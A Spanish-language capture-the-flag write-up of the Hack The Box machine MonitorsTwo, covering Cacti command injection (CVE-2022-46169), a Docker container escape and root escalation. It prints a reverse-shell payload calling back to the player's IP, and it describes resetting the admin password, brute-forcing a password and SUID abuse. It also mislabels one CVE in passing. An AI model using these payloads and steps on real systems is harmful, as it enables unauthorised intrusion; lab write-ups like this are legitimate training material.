Write-up MonitorsTwo [Easy] - Hack The Box
Publicación del write-up de sujeto a las guías generales de Hack The Box.
Write-up MonitorsTwo [Easy] - Hack The Box
Mi perfil de Hack The Box: julianglez16
Enumeración
Puertos
Directorios web
Virtual hosts
Tecnologías web
Funcionalidad web
Análisis con BurpSuite
Al hacer login con credenciales user:pass
Explotación
Usuario
Realizando la enumeración de directorios web se observa que existen varias URLs interesantes como por ejemplo /docs/, la cual lleva a una vista donde se expone la documentación de Cacti. De vuelta a la página de login se observa que la versión de Cacti utilizada es la versión 1.2.22, la cual es vulnerable a Command Injection (CVE-2022-46169). Desde esta web se puede ver una explicación técnica: https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution
Si se visita la URL remote_agent.php se recibe el mensaje de error mencionado en la web donde se habla del CVE al que es vulnerable Cacti.
Analizando dicha vulnerabilidad y con la ayuda de este exploit de github: https://github.com/ariyaadinatha/cacti-cve-2022-46169-exploit se consigue obtener lo siguiente:
Con este resultado se determina que las variables para ejecutar el exploit sonç host_id=1 y local_data_id=6. Tras conocer esto, con el siguiente payload inyectado en la petición GET:
1
; bash -c "bash -i >& /dev/tcp/10.10.14.116/1234 0>&1"
Se consigue un reverse shell y se obtiene acceso a la máquina como www-data.
Al analizar el fichero /etc/passwd se observa que no existen usuarios en la máquina
Al hacer ls en el directorio / se observan 2 cosas interesantes: un fichero llamado .dockerenv y un fichero llamado entrypoint.sh, lo cual nos hace pensar que estamos dentro de un contenedor Docker.
En el fichero entrypoint.sh se observan unas credenciales de acceso a una base de datos mysql en el host db.
Para determinar la IP del host db se puede buscar en el fichero /etc/hosts
Como se pueden ejecutar comandos de manera remota en la base de datos, se extrae toda la información interesante y se guarda en ficheros txt (no puede upgradear el shell).
Si cambiamos las credenciales del usuario admin en la base de datos por las credenciales por defecto iniciales (admin:admin), se puede acceder desde el panel web a la cuenta de administración.
Tras hacer esto, se ve que no hay nada interesante dentro del panel de administrador. Aí que se intenta hacer fuerza bruta a la contraseña del usuario marcus exitosamente.
Root
Tras obtener el usuario, se buscan permisos de sudo, los grupos a los que pertenece el usuario marcus y binarios con permisos SUID. Ninguno de estos métodos revela algo útil.
Tampoco ningún crontab útil que se pueda aprovechar
En cuanto a los puertos abiertos, se observan dos puertos que coinciden con los contenedores Docker.
En el mail disponible del usuario marcus se observa que ha sido alertado de 3 vulnerabilidades peligrosas en la infraestructura. La interesante para escalar privilegios actualmente es la primera: CVE-2021-33033 ya que la máquina a la que hemos accedido es vulnerable.
En el mail se menciona el https://github.com/UncleJ4ck/CVE-2021-41091, cuya vulnerabilidad puede ser utilizada para escalar privilegios. Para poder explotar el CVE-2021-41091 se necesita escalar privilegios en el contenedor. Esto se realiza utilizando el binario capsh que tiene permisos SUID dentro del contenedor.
Una vez como root en el contenedor, se accede a los directorios de los contenedores y se intenta ejecutar el comando ./bin/bash -p 2>/dev/null































